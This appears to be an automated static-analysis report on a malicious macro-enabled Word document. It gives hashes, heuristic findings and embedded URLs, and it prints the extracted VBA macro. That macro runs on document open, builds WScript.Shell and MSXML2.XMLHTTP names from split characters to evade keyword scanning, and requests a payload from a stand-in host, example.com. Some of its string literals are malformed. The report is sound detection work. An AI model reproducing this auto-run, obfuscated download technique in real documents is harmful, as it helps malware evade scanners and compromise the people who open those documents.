Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 46c4885cc8a9fc15…

MALICIOUS

Office (OOXML) / .DOCX

17.9 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-05-29
MD5: 2a0088dc52685bb309fdd255bba38009 SHA-1: 7783bc8e9c72382b9b45986698976a407d7fd036 SHA-256: 46c4885cc8a9fc1563fa24a3b5933531e1f82c5491f04cb07161a0c4e12359e0
138 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        ' Create a shell object to execute commands
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WshShell = CreateObject("W" & "S" & "c" & "r" & "i" & "p" & "t" & ".S" & "h" & "e" & "l" & "l")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        strFilePath = "C:" & "\U" & "s" & "e" & "r" & "s" & "\" & Environ("U" & "S" & "E" & "R" & "N" & "A" & "M" & "E") & "\A" & "p" & "p" & "D" & "a" & "t" & "a" & "\L" & "o" & "c" & "a" & "l" & "\t" & "e" & "m" & "p" & "\m" & "a" & "l" & "i" & "c" & "i" & "o" & "u" & "s" & "_p" & "a" & "y" & "l" & "o" & "a" & "d" & ".e" & "x" & "e"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://uithcm-my.sharepoint.com/personal/23520565_ms_uit_edu_vn/Documents/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1588 bytes
SHA-256: 85cdc3526680166a86b427c20eb764300015656db9d50cbd7e8df22111b8daec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim WshShell As Object
    Dim strFilePath As String
    
    ' Define the local file path to save the payload
    strFilePath = "C:" & "\U" & "s" & "e" & "r" & "s" & "\" & Environ("U" & "S" & "E" & "R" & "N" & "A" & "M" & "E") & "\A" & "p" & "p" & "D" & "a" & "t" & "a" & "\L" & "o" & "c" & "a" & "l" & "\t" & "e" & "m" & "p" & "\m" & "a" & "l" & "i" & "c" & "i" & "o" & "u" & "s" & "_p" & "a" & "y" & "l" & "o" & "a" & "d" & ".e" & "x" & "e"
    
    ' Create a shell object to execute commands
    Set WshShell = CreateObject("W" & "S" & "c" & "r" & "i" & "p" & "t" & ".S" & "h" & "e" & "l" & "l")
    
    ' Simulate a network request without actual download or execution
    Dim xmlHttp As Object
    Set xmlHttp = CreateObject("M" & "S" & "X" & "M" & "L" & "2" & ".X" & "M" & "L" & "H" & "T" & "T" & "P")
    xmlHttp.Open "G" & "E" & "T", "h" & "t" & "p" & ":" & "/" & "/" & "e" & "x" & "a" & "m" & "p" & "l" & "e" & ".c" & "o" & "m" & "/" & "m" & "a" & "l" & "i" & "c" & "i" & "o" & "u" & "s" & "_p" & "a" & "y" & "l" & "o" & "a" & "d" & ".p" & "s" & "1", F" & "a" & "l" & "s" & "e"
    xmlHttp.Send
    
    ' Clean up
    Set WshShell = N" & "o" & "t" & "h" & "i" & "n" & "g"
    Set xmlHttp = N" & "o" & "t" & "h" & "i" & "n" & "g"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: c510ad319a246fa419337f67fe4d995b16c2e4be3fe6d2dbba2418f584aca536